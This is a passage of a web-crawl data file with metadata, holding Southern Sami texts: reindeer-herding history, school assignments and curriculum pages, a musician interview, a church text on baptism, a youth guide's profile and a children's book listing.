båatsoedajvh jïh tjåenghkies maaksoedïedte lin sjïehtesjamme daate lij akte gæmhpoe maam båatsoe lij dööpmeme teehpedh. Saemiefuelhkieh tjoerin skaaraj jïh aamhtesemaaksoej åvteste maeksedh, mij akte stoerre ekonomeles tjoeperdimmie sjïdti.\nTsiehkie Røros-saemien dajvesne lij sjïere, jïh lij gellie fåantoeh man åvteste dïhte dan nåake sjïdti raaktan daesnie. Bergverket, mij lij dovne dajven eatnemen jïh almetji bijjelen reereme 200 jaepieh, lij aktene stoerre jarkelimmesne don baelien. Åvtelen Røros-banen bööti 1877, joekoen jïjnjh gaertenh aktem guektiengierts ekonomijem utnin man våarome lij jåartaburrie jïh dorjemasse jïh skovhte tjirreste kåahperevearhkan. Mænngan ruevtieraajroe tseegkesovvi, eelkin koksem nuhtjedh jïh jeenjesh aktem vihkeles baalhkagaaltijem dassin. Dan åvteste jåartaburrie dïhte aajnehke jieliemasse sjïdti jeenjesidie. Seamma tïjjen jåartaburrie vielie daajbaaletje sjïdti jïh båantah meehtin radtjoesåbpoe gaertieninie gïehtelidh, jienebh kluhterh utnedh jïh destie dah stuerebe dajvem daarpesjin. Gaahtjeme dajvi bïjre læssani.\nDej beeli jïh daan baelien\nSïjte lij aerpievuekien mietie akte sosijaale ektievoete jïh barkoeektievoete aktene vihties sijjesne. Gaskem golme jïh luhkie fuelhkieh meehtin aktene sïjtesne årrodh mah ektesne barkin, guktie lij maerelesommes barkoen gaavhtan jaepien tjïrrh.\nLaakestuvrehtimmesne 1800-låhkoen minngiegietjesne dïejvese båatsoesïjte åtnose vaaltasovvi. Båatsoesïjtesne akte vihties låhkoe fuelhkijste, jïh fleksibilteete maam dennie aerpievuekien sïjtesne utnin gaarvani.\nDaan biejjien jienebh dejtie båeries saemien nommide sïjtide åtnose vaalteme, jïh dïejvese sïjte åtnose vaaltasovvi båatsoelaakesne 2007. Røros-saemien dajvesne utnebe Gåebrien sïjte, Saanti sïjte, Svahken sïjte, Femund sïjte jïh Trollheimen sïjte.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/rorosmuseet.no\/baatsoe-behtjiedimmien-nuelesne","date":"2023-03-23T12:15:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296945144.17\/warc\/CC-MAIN-20230323100829-20230323130829-00578.warc.gz","language":"sma","language_score":0.9999845028,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999845027923584}","num_words":411,"character_repetition_ratio":0.044,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.092,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gellieh mijjeste lyjhkoeh vuelkedh. Jis mijjieh edtjebe gåhkese vuelkedh, dellie mijjieh girtine vuelkebe juktie provnedidh, orre kultuvrigujmie åahpenidh, åesiestidh jallh guessine mïnnedh. Men tjoerebe skaamasjidh jïh vielie klijman bïjre ussjedidh? Maam datne vïenhth?\nLaavenjasse\nGirtie-skaamoe orre baakoe sjïdteme. Gellieh skaamasjieh gosse dah tjuerieh girtine vuelkedh. Daennie laavenjassesne datne edtjh goerehtidh maam datne jïh dov klaasse dan bïjre vienhtieh. Datne edtjh bïevnesh girtie-fealadimmiej jïh klijmagaasse-luejhtemen bïjre gaavnedh. Daejtie bïevnesidie daarpesjh gosse edtjh teeman bïjre tjaeledh.\n1. boelhke\n«Byöroe dovrehkåbpoe sjïdtedh girtine vuelkedh.» Maam datne daan bagkesimmien bïjre vïenhth? Buerkesth man åvteste.\nGihtjh dov klaasse-voelpem\/lohkehtæjjam maam veanhta? Goltelh, aellieh maam akt jiehtieh.\nVuartesjh programmem «Einig». Daennie programmesne dah digkedeminie jis edtja dovrehkåbpoe sjïdtedh girtine vuelkedh juktie ibie edtjh dan jïjnjem girtedh. Giejnie datne sïemes?\n2. boelhke. Girtie jïh klijmagaasse-luejhteme\nGoerehth guktie girtine vuelkedh maahta klijmam tsevtsedh. Tjaelieh maam gaavnh. Mujhtieh nedte-sæjroen lïenghkem vöörhkedh, juktie maahtah dam dov gaaltije-læstose tjaeledh.\nRaerie! Datne maahtah gaaltijen ussjedammesvoetem lahtestidh gosse edtjh girtie-skaamoen mietie jallh vööste argumenteradidh. Jis dam eensilaakan darjoeh dellie daate maahta dov jïjtjene ussjedammesvoetem nænnoestidh. Gie bïevnesh tjaaleme? Seedtije ussjedammes? Argumenth saakeles? Maehtebe bagkesimmide gååvnesidh?\n3. boelhke. Man jïjnjem mijjieh girtebe?\nGoerehth statistihkem jïh jeatjah gaaltijh mah maehtieh datnem viehkiehtidh vaestiedidh.\nMan gellie almetjh veareldisnie girtine vuelkieh? Nuhtjh proseenth gosse vaestedh.\nGïeh jeanatjommes girtine vuelkieh?\nGuktie vierhtieh veareldisnie juakeme? Bïevnesh dov vuajnoem jeatjahtehtieh? Tjoerebe skaamasjidh girtine vuelkedh??\n4. boelhke. Digkedh girtie-skaamoem\nDigkedh daejtie bagkesimmide:\nManne buerie vaajmojne girtine vualkam.\nMov mïelen mietie almetjh mah åarjese vuelkieh provnedidh, byöroeh skaamesjidh.\n5. boelhke. Tjaelieh digkiedimmiem jallh lohkije-teekstem\nVeeljh aktem daejstie laavenjassijste.\nDigkedh dåeriesmoerem: «Mijjieh byörebe skaamesjidh girtine vuelkedh?»\nTjaelieh lohkije-teekstem. Datne edtjh argumenteradidh mijjieh tjoerebe orrijidh girtine vuelkedh juktie klijmam beerkedh.\nTjaelieh lohkije-teekstem. Datne edtjh bagkesimmien vööste argumenteradidh «Mijjieh girtine vuelkedh girtedh juktie klijmam beerkedh.».\nRaerieh lohkije-teekstese\nTjaelieh aktem raajesem. Tjaelieh dov ulmiem daejnie teekstine. Vuesiehtimmien gaavhtan: Mov ulmie daejnie lohkije-teekstine...\nTjaelieh dah vihkielommes argumenth, voestes raajesen nualan.\nTjoerh argumenth meatan utnedh mah jïermijes jïh mah domtesh gåaskoeh. Mujhtieh jis datne rïektesvoeth meatan åtnah dellie datne sagke ussjedammes, enn jis ajve tjaalah: «Mijjieh tjoerebe orrijidh girtine vuelkedh juktie veartenem beerkedh.»\nSaemien\nDaaroen\nbagkesimmie\npåstand\nussjedammes\ntroverdig\nussjedammesvoete\ntroverdighet\nvierhtieh\nressurser","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/ndla.no\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:11f13e74-7cb8-4651-8d10-0927e7a9de48\/topic:2:2bd24a78-b09c-4249-b9a2-a98e6364bfd9\/resource:e5bc9e6b-aff4-4534-8278-c2fbdfb9659a","date":"2023-03-25T07:49:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296945317.85\/warc\/CC-MAIN-20230325064253-20230325094253-00579.warc.gz","language":"sma","language_score":0.9999976158,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.999997615814209}","num_words":349,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.046,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mænngan teekste lea gaervies, tïjje båateme portrehtem noeredh. Tjöönghkh sïjse, veesmh jïh bueredh dov materijellem. Veeljh maam sïjhth meatan utnedh, jïh tjaelieh tihtelem jïh ingressem.\nGosse datne teekstem tjaaleme dellie edtjh portrehtem noeredh. Ohseh maaterijh maam gaavneme jïh tjaaleme. Lohkh tjïrrh jïh veeljh maam sïjhth meatan utnedh.\nVuarjesjh jïh bïejh guvviem teeksten sïjse\nMah hijven guvvie? Bietskieh båarhte dam maam ih sïjhth meatan utnedh. Mujhtieh edtja lïhkeguvvine årrodh. Almetje dïhte mij vihkele, ij vïedtje jallh moerh almetjen duekesne.\nBïejh guvviem jallh guvvide teeksten sïjse. Man otnjegasse dov gihtjelgæjja vuajna? Jis ånnetji akten bealan vuajna, baajh tjelmide teeksten vööste vuejnedh.\nGuvvien nualan tihtelem tjaalah jïh tjïelkesth gïem vuejnebe. Tjaelieh maaje aktem jallh göökte raajesh motijven bïjre. Tjaelieh gie guvviem vaalteme.\nSjiehtesjidh\nJis dov fer jïjnje jallh vaenie teeksth, dellie maahtah:\nguvvieh unniedidh jallh stueriedidh\nguvvieh lissiehtidh jallh sliejhtedh\nbïevnesh lissiehtidh jallh sliejhtedh\nsitaath stuerebe darjodh jallh sliejhtedh","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/ndla.no\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:11f13e74-7cb8-4651-8d10-0927e7a9de48\/topic:2:8b8e1139-e745-4a35-ac43-c408d90b6467\/resource:f2b85c96-3622-4506-95a1-336859612bc5","date":"2023-03-26T14:46:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296945473.69\/warc\/CC-MAIN-20230326142035-20230326172035-00658.warc.gz","language":"sma","language_score":1.0000081062,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000081062316895}","num_words":146,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.068,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vitnedimmie (KRO01‑05)\nVihkeles tjiehpiesvoeth\nNjaalmeldh tjiehpiesvoeth\nNjaalmeldh tjiehpiesvoeth vitnedimmiefaagesne lea maehtedh goltelidh jïh gaskesadtedh svihtjemedarjoeminie, jïh maehtedh tjïelkestidh jïh buektedh jïjtsh dååjrehtimmieh jïh ussjedadtemh. Evtiedimmie njaalmeldh tjiehpiesvoetijste vitnedimmiefaaagesne aalka gïelelldh goerehtimmine svihtjemedååjrehtimmine goske ussjedadta jïh digkede vihkeles sisvegen bïjre faagesne.\nMaehtedh tjaeledh\nMaehtedh tjaeledh vitnedimmiefaagesne lea soejkesjidh jïh jïjtsh evtiedimmiem faagesne buektedh jïh vuarjasjidh. Lea aaj jïjtsh saavremesoejkesjh hammoedidh. Evtiedimmie tjaelememaahtoste vitnedimmesne lea aelkedh guvvieh, foto, figuvrh jïh soejkesjh nuhtjedh goske maahta vielie faagesjïere teeksth jïh illustrasjovnh tjaeledh.\nMaehtedh lohkedh\nMaehtedh lohkedh vitnedimmesne lea gaavnedh, toelhkestidh jïh laejhtehkslaakan ovmessie såarhts teeksth jïh bïevnesh vuarjasjidh jïh daajroem ohtsedh mij lea daerpies juktie maahtoem faagesne evtiedidh. Evtiedimmie lohkememaahtoste vitnedimmesne aalkoe gosse maahta bïevnesh, kaarhth jïh teeksth aelhkie bïhkedassijste veedtjedh jïh dej bijjeli ussjedadtedh goske maahta geervebe jïh faagesjïere teeksth, kaarhth jïh guvvieh lohkedh.\nMaehtedh ryöknedh\nMaehtedh ryöknedidh vitnedimmesne lea matematihkeles baakoetjïerth nuhtjedh juktie soejkesjidh, tjïrrehtidh jïh ussjedadtedh ovmessie tsiehkiej bijjeli dejnie gelliesåarhts svihtjemedarjoeminie faagen sisnjelen. Evtiedimmie ryöknememaahtoste vitnedimmesne aalka gosse maahta gåhkoe, darjomh, spïelh jïh stååkedimmieh dååjrehtidh goske maahta geervebe svihtjemedarjomh jarkoestidh baakoetjïertide goh leavloe, drïekte, faamoe, tïjje jïh veahka.\nDigitaale tjiehpiesvoeth\nDigitaale tjiehpiesvoete vitnedimmesne lea maehtedh digitaale vierhtieh nuhtjedh juktie goerehtidh, sjugniedidh jïh praktihkeles haestemh faagesne loetedh. Lea aaj maehtedh digitaale vierhtieh nuhtjedh voerkeslaakan jïh laejhtehkslaakan jïh jearsoe identiteetem, kråahpevoerkesvoetem jïh positijve jïjtjeguvviem evtiedidh. Evtiedimmie digitaale tjiehpiesvoetijste vitnedimmesne lea aelkedh njoelkedassh fulkedh digitaale ektiedahkose jïh persovnevaarjelæmman goske maahta soejkesjidh jïh vuarjasjidh jïjtsesaavremem viehkine digitaale vierhtijste.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/www.udir.no\/lk20\/kro01-05\/om-faget\/grunnleggende-ferdigheter?lang=sma","date":"2023-03-26T15:24:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296945473.69\/warc\/CC-MAIN-20230326142035-20230326172035-00658.warc.gz","language":"sma","language_score":1.000009656,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000096559524536}","num_words":234,"character_repetition_ratio":0.097,"word_repetition_ratio":0.0,"special_characters_ratio":0.117,"stopwords_ratio":0.162,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Musihke saemien (MUS02‑02)\nJarngebiehkieh\nMusihkem buektedh\nJarngebiehkie musihkem darjodh tjïerteste learohkh leah eadtjohke meatan gieline, kråahpine jïh instrumentigujmie mubpiejgujmie ektine, åehpiedehtiemisnie jïh ovmessie musihkevuekine jïh sjangerinie. Jarngebiehkie edtja learoehkidie dååjrehtimmiem vedtedh tjoejehtidh, laavlodh jïh daanhtsodh ovmessie ektiedimmine. Jarngebiehkie viehkehte guktie learohkh kreatijve prosessi tjïrrh åadtjoeh haarjanidh vætnoebarkojne, maam joem buektedh jïh åehpiedehtedh.\nMusihkem darjodh\nJarngebiehkie musihkem darjodh tjïerteste learohkh kreatijvelaakan berkieh viehkine organiseeredh jïh musihken maadthbiehkieh tjåanghkan bïejedh mïsse akt orre, jallh maam akt åehpies jeatjahtehtedh. Jarngebiehkie viehkehte guktie learohkh haarjanieh maam joem buektedh jïh voerkeslaakan goltelidh sjugniedihks prosessine. Learohkh edtjieh dååjrehtimmiem jïh lierehtimmiem åadtjodh ovmessie vuekiej bïjre musihkem darjodh, jïh buektiehtidh åtnose vaeltedh ovmessie improvisasjovne- jïh komposisjovnevuekieh.\nMusihkem dååjredh\nJarngebiehkie musihkem dååjredh tjïerteste learohkh eadtjohkelaakan goltelieh jïh sijjen daajh nuhtjieh. Daate emosjonelle dååjrehtimmieh buakta dovne aarkebiejjeste jïh dejtie eksistensijelle gaavnedimmide musihkine, jïh learohkh haarjanimmiem åadtjoeh musihkales dååjrehtimmieh buektedh. Daajroe jïh dååjrehtimmie musihken jïh musihkales vierhkievierhtiej bïjre leah våarome akten ussjedadtije jïh goerehten geatskanæmman musihkedååjresasse.\nKultuvregoerkese\nJarngebiehkie kultuvregoerkese lea guktie laavlome jïh musihke mejtie learohkh buektieh, darjoeh jïh dååjroeh, lea vïedteldihkie jïh ulmiem åtna dennie kultuvresne mestie båata. Maehtedh jïjtse jïh mubpiej musihkales vuekieh guarkedh, musihkem buektedh, musihkem darjodh jïh musihkem dååjredh dovne kulturelle maahtoem kreava jïh vadta. Tsiehkieh histovrijisnie jïh seabradahkesne leah tjoejehtimmiem,, laavlomem jïh daanhtsoem goh estetihkeles vuekieh baajnehtamme jïh vååjnesasse båetieh tjoejehtimmesne, laavloemisnie jïh daanhtsosne. Musihken mïele sjugniesåvva gosse musihke åtnasåvva sosijaale ektiedimmine, jïh musihke mïelem vadta sosijaale heannadimmide jïh rituaalide.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/www.udir.no\/lk20\/mus02-02\/om-faget\/kjerneelementer?lang=sma","date":"2023-03-25T22:36:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296945376.29\/warc\/CC-MAIN-20230325222822-20230326012822-00090.warc.gz","language":"sma","language_score":0.9999972582,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999972581863403}","num_words":234,"character_repetition_ratio":0.091,"word_repetition_ratio":0.0,"special_characters_ratio":0.122,"stopwords_ratio":0.154,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Åarjelsaemi gïelese: Ellen Bull Jonasse n\nAkte vuartadihks Marja Mortensson Š-magasijnine soptseste naan gille biejjiej åvtelen altese njealjede albume «Raajroe – The Reindeer Caravan» olkese luajhtasåvva abpe veartenasse.\n– Joekoen fuehpie domtoe albumem bæjhkoehtidh, daelie gosse geatskeneminie. Manne dan guhkiem daejnie barkeme, men damtem manne lim mån maahteme viielie darjodh. Guktie Leam naa vuartadihks.\nMarja soptseste satne guhkie lastoem åtneme aktem symfonijesprosjektem darjodh. Voestes åssjaldahke eelki bïehtsegidh joe gosse lij Tråante 2017.\n– Manne gujht åadtjoejim meatan årrodh Dennie stoerre geebehtimmieprosjektesne «Jielemen aavoe» jïh ohtje arnam åadtjoejim orkesterinie jïh Beaivvášine spealadidh jïh dan profesionale byjresisnie årrodh. Jïh dellie ussjedim «daam gujht sïjhtem ikth vielie darjodh».\nAlbumen musihke tjaalasovvi dæjmetje daelvien. Daniel Herskedal lea albumem orkesterasse sjïehtedamme, guhte aaj albumisnie tjoehte Jakop Janssønnine jïh Kringkastingsorkesterinie (KORK) ektine.\nMaadtoej jieleden bïjre sopseste\nAlbume «Raajroe – The Reindeer Caravan» aerpiem buakta dehtie saemien njaalmeldh soptsestimmievuekeste.\n– Ibie maa mijjieh soptsesh gærjine jïh tjaaleginie tjaaleme. Men mijjieh soptsesidie buakteme vueliej jïh njaalmeldh soptsestimmievuekiej tjïrrh.\nRaajroe lea symbovline sjïdteme don baalan maam Marja ij leah åådtjeme dååjredh. Don baelien gosse bovtsigujmie tjoejki jïh dejtie guhkies jïh slæjhtoes juhtiemidie darjoeji.\n– Daate lea daajroe jïh aerpievuekie mejtie doh båarasåbpoe almetjh annje utnieh. Manne soptsesijstie dehtie baeleste sjååjmeme.\nJienebh dejstie soptsesijstie mah albumisnie soptsesuvvieh Marja lea govleme maanabaelien raejeste.\n– Daate mov vuekie mijjen histovrijem soptsestidh: dam musihken tjïrrh buektedh, vuelien eatnamisnie.\nEatneme annje soelkelaakan juajka\nAlbumisnie luhkie vuelieh mah fïereguhten soptsesem soptsestieh åvtetje aejkien bïjre, raajroe, eatnemen ietnie, vuelie, aejlies duvrie, gïeteråantja, båeries giedtieh jïh daajbaaletje tïjjen bïjre.\n– Mij dov lyjhkedsvuelie albumisnie?\n– Joekehtadta biejjeste beajjan jïh våhkoste våhkose. Fïerhten vuelien lea badth jïjtse universe.\nMarja læjhkan soptseste akte dejstie vuelijste maam lyjhkestamme, lea «Vuelieh sjaavoejin».\nSoptsesåvva gosse gïele jïh vuelieh sjaavoejin, dellie eatneme jåarhka joejkedh jïh soelkelaakan mearojne, jeanoejgujmie jïh vaeriejgujmie soptsestidh.\nEatneme juajka jïh soelkelaakan soptseste mearan dom biejjiem vuertieminie gosse mijjieh almetjh vihth mijjen faamoem gaavnebe jïh vihth aelkebe mijjen gïelh soptsestidh jïh mijjen vuelieh joejkedh.\n– Mov håhkoe båetijen aejkien lea mijjieh vihth sijhtebe mijjen kultuvreaerpiem nuhtjedh jïh jåerhkedh. Jïh guarkedh man vihkele eatneme lea mijjen sisnie. Guktie vïenhtem dïhte lea akte dejstie veaksahkommes teekstijste.\nVoestes bæjhkoehtimmie Rørosisnie\nGolken 1.b. voestes bæjhkoehtimmie albumistie «Raajroe – The Reindeer Caravan» Rørosen gærhkosne KORKine Raasten rastah festival.\nDïsse Marja aavode.\n– Dan joekoen njaelkie minngemosth luhpiem åadtjodh daam almetjefeestem utnedh. Stoerre dååjrese sjædta daam musihkem jielije darjodh, jïh damtedh musihke jielieminie raaktan daesnie jïh daelie. Njaelkie domtoe musihkem sïjse spealadidh jïh Dam bæjhkoehtidh. Men mij akt eevre jeatjah desnie tjåadtjodh jïh gaskoeh musihkesne årrodh, Marja minngemes jeahta.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/ungdomsmagasin.no\/daeriedidie-raajroem-marja-mortenssonine-ektine\/09.03-10:03","date":"2023-06-02T11:20:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224648635.78\/warc\/CC-MAIN-20230602104352-20230602134352-00266.warc.gz","language":"sma","language_score":0.9999847412,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999847412109375}","num_words":410,"character_repetition_ratio":0.048,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.107,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vielie teksth sveerjengïelesne gååvnesieh\nVadtese Jupmelen luvhtie\nGaajhkesh lea jieledem Jupmielistie åådtjeme. Jupmele fïereguhte almetjem jïh ellies sjugniedimmiem sujhtie. Aaj laavkome lea vadtese Jupmielistie. Laavkome lea aelhkies dahkoe jïh seamma aejkien akte gærhkoen sakramenteste, aejlies dahkoe.\nIj laavkome lea nommedehtemeseremonije. Men mijjieh nommem reegkes gïeline jiehtebe juktie laavkome tjirkeste Jupmelen såjhtoem jïh bueriesjugniedimmiem dam faerhmeste gie lååvkesåvva.\nLaavkome lea mijjen jieledi bïjre, dan bïjre maam mijjieh gaajhkesh maehtebe damtedh. Desnie gyjhtelesvoete jïh aavoe gååvnesieh mijjieh daesnie jïh leavloem gaajhkijste mejstie sïjhtebe luajhtasovvedh.\nMijjieh laavkobe juktie Jesus gærhkoem stilli laavkodh dejnie maam gohtjebe laavkome- vuj missjovnestilleme Meehten vaentjele 28:16–20. Mijjieh aaj luhpiedimmiem åådtjeme Jupmele lea mijjien meatan gaajhkene biejjine jïh ij gåessegh mijjiem laehpieh. Dïhte gie lååvkeme maahta abpe jieledem jaehkedh Jupmelen gieriesvoete dam faerhmeste.\nKristegassjh jaehkieh Jesus lea dovne Jupmele jïh almetje. Jupmele almetjem sjïdti jïh dan gaavhtan Jupmele almetji jieledetsiehkieh juaka. Gaajhkesh meatan. Jieledh lea jieledefaamoem jïh aavoem utnedh, heajhkaldehtedh jïh hijven dahkoeh darjodh. Mohte jieledh lea aaj dam dååjrehtidh mah faamoem jïh aavoem mijjeste vaeltedh.\nJïjtsene laavkoemisnie jieledh\nGærhkoe muvhtene jeahta laavkome lea jaemedh jïh Kristusen ektesne tjuedtjielidh. Gaajhkh mah jieliedisnie gïerve lea Bijpelen vuajnoen mietie ovmessie hammoeh jaemiedistie. Gosse Jesus jeemi dïhte sæjhta jiehtedh Jupmele ij leah ammes mïss'akt almetjen jieliedisnie. Ihke Jesus dan mænngan tjuedtjele sæjhta jiehtedh jielede faamohkommes jaemiedistie. Mohte tjuedtjielimmiem jaehkedh ij leah seamma goh eejnegen optimistiske årrodh. Baaltese dïhte lea dan bïjre Jupmelem jaehkedh, mij dåajvohte guedtedh ovmessie hammojne jaemiedistie jieliedisnie, orre jieliedasse. Mij dåajvohte orre faamoem, orre håhkoem jïh orre ïedtjem.\nMuvhtene gærhkoe soptseste jïjtsene laavkoemisnie jieledh. Dïhte sæjhta jiehtedh laavkome lea viehkiem mujhtedh Jupmele dåajvoehtamme meatan årrodh gaajhkene biejjien – dej håhkojne jïh aaj håhkohts, jïh gaajhkh biejjieh dej gaskem. Dan gaavhtan laavkome aaj maam akt mïsse jarkelidh jïh faamoem destie veedtjedh, maam akt mejnie fïerhten biejjien jieledh.\nLaavkoeminie mijjieh gærhkosne govlesovvebe, mohte laavkome aaj sæjhta jiehtedh mijjieh seedtesovvebe buerie dahkoeh darjodh veartanisnie jïh mijjen lïhkesadtjide. Gaajhki laavkoji ïedtjh daarpesje. Laavkoejinie galkebe mijjien ovmessie vierhtiejgujmie meatan årrodh jïh dam buerie seabradahkem tseegkedh. Ellies veartene lea Jupmelen veartene.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/www.svenskakyrkan.se\/laavkome-lea-aejlies","date":"2023-06-01T15:14:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224647895.20\/warc\/CC-MAIN-20230601143134-20230601173134-00254.warc.gz","language":"sma","language_score":1.0000063181,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000063180923462}","num_words":334,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.138,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mov nomme Linnéa Ellen Knutsen, leam 20 jaepien båeries jïh Ájluokteste Divtasvuodneste båatam (daelie Orre Hábmere). Gåabpegh mov eejhtegh leah Divtasvuodneste, men tjidtjeben bielesne aaj maadtoe Jiellevárreste sveerjen bielesne. Manne dovne saemien jïh nöörjen gïeline byjjenim, skuvlesne julevsaemien voestesgïeline utnim goske jåarhkeskuvlem eelkim. Jåarhkeskuvlesne voestegh healsoefaagem veedtsim, men sïjhtim guhkiebasse lohkedh guktie lissiebigkemem veeltim sïejhme studijemaahtose.\nManne Ájluoktesne byjjenamme, joekoen onne voene Bådåddjon jïh Áhkanjárgan gaskesne gusnie sån bielie almetjijstie lea julevsaemieh. Ij leah dan jïjnje desnie darjodh guktie jeenjemes bïjlem vuajam jïh leam voelpigujmie gosse leam desnie. Tuhtjem gïele lea joekoen gieltege jïh jis leam maahteme, dellie gaajhkh gïelh lïereme. Men vihkielommes gïele munnjien lea gujht julevsaemien. Manne sïjhtem vielie barkedh julevsaemien gïeline jïh dam buerebe lïeredh. Dan åvteste sïjhtem barkedh jienebh learoevierhtieh jïh plearoeh ribledh julevsaemien gïelesne, joekoen maadthskuvlen learoehkidie, jïh\/jallh lohkehtæjjine saemiengïelesne sjïdtedh båetijen aejkien.\nSåemies varke saetniesvoeth\nDïsse jeenjemes aavodh daan tsïeglejaepien?\nVïenhtem manne jeenjemes aavodem vielie Nöörjeste vuejnedh, jïh dååjredh «feelemeveaskosne» årrodh».\nMaam tuhtjh vihkielommes noerh Nöörjesne byöroeh saemiej bïjre daejredh?\nGaajhkh saemien dajvh leah vielie joekehtsh goh veanhta, jïh gaajhkh saemieh eah bovtsigujmie gïehtelh.\nBööremes raerie jïengem tsööpkedh?\nGihtjedh maam luhkieh\/ mejnie barkeminie sjeahta gujht fïerhten aejkien.\nMaam darjoeh 10 jaepine?\nVïenhtem manne sïjhtem barkedh jïh Ájluoktesne årrodh, men håhkesjem leam ånnetji fealadamme bïjre jarkan veartenisnie voestegh.\nMaam lih sïjhteme meatan vaeltedh aevries såålese, jïh mannasinie?\nVïenhtem manne biejjiebådtjam meatan vaalteme, dan åvteste manne dan gaajh varke roevtem.\nGie dov saemien åvteguvvie jïh mannasinie?\nMov saemien åvteguvvie lea sån maadteraahka, dïhte lij dïhte gïemhpemes jïh bööremes almetje maam meehti gaavnedh, jïh im vïenhth gåarede naakenem gaavnedh stuerebe vaajmojne.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/samiskeveivisere.no\/sma\/veiviser\/linnea-knutsen-3\/","date":"2023-05-29T21:59:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224644913.39\/warc\/CC-MAIN-20230529205037-20230529235037-00526.warc.gz","language":"sma","language_score":1.0000054836,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000054836273193}","num_words":262,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.107,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije\nBertije\nVaadtasovvemejaepie\n1982\nDaltese\nGiele\nISBN\n8200063577\nFormaate\nSïejhme gærja\nReakta-aajhtere\nReaktah\nGaajhkh reaktah leah doelehtovveme\nMennie bielesne\n40\nAamhtesh\nViehkiebaakoe\nNïejte guhte gullie-tjååtselinie sjïdti, saemien åålmeh-vaajese. Daate gærja enaresaemiengïelesne.\nKollekoalsi jallh åarjelsaemien Gullie-tjååtsele båeries saemien åålmeh-vaajese. Daate soptsese buerien jïh vestiesvoeten bïjre, tjoevken, sjuevnjeden, rïektes jïh faelskies almetji bïjre. Maanagærjan stoerre guvvieh. Vaajesen deahpadimmie guektien nyjsenæjjese veadtaldahkesne, Njaevies-eatnan jïh Hatsves-eatnan gïeh buerien jïh vestiesvoeten maadtoe. Soptsesen jïjtjehke dalvese lea Njaevies-ietnien nïejte, numhtie dam vaajese jeenjemes sov bïjre. Daate gærja enaresaemiengïelesne.\nGærja gååvnese noerhte-, julev-, åarjelsaemien jïh daaroengïelesne, dovne badth digitaalegærjine Nasjonalbiblioteeken nehtesæjrosne.\nOvttas|Aktan|Aktesne bruker også analyseverktøy, dette for å forbedre og videreutvikle nettstedet.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/ovttas.no\/sma\/girji_kollekoalsi","date":"2023-06-09T17:39:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224656788.77\/warc\/CC-MAIN-20230609164851-20230609194851-00389.warc.gz","language":"sma","language_score":0.9999418259,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999418258666992}","num_words":102,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.118,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gaajhkh faagh edtjieh viehkiehtidh lïerehtimmien aarvoevåaromem realiseeredh. Vitnedimmie edtja viehkiehtidh learoehkidie nuepiem vedtedh praktiseeredh jïh ussjedadtedh ektiespïelen, meatanårromen, mïrrestallemen jïh 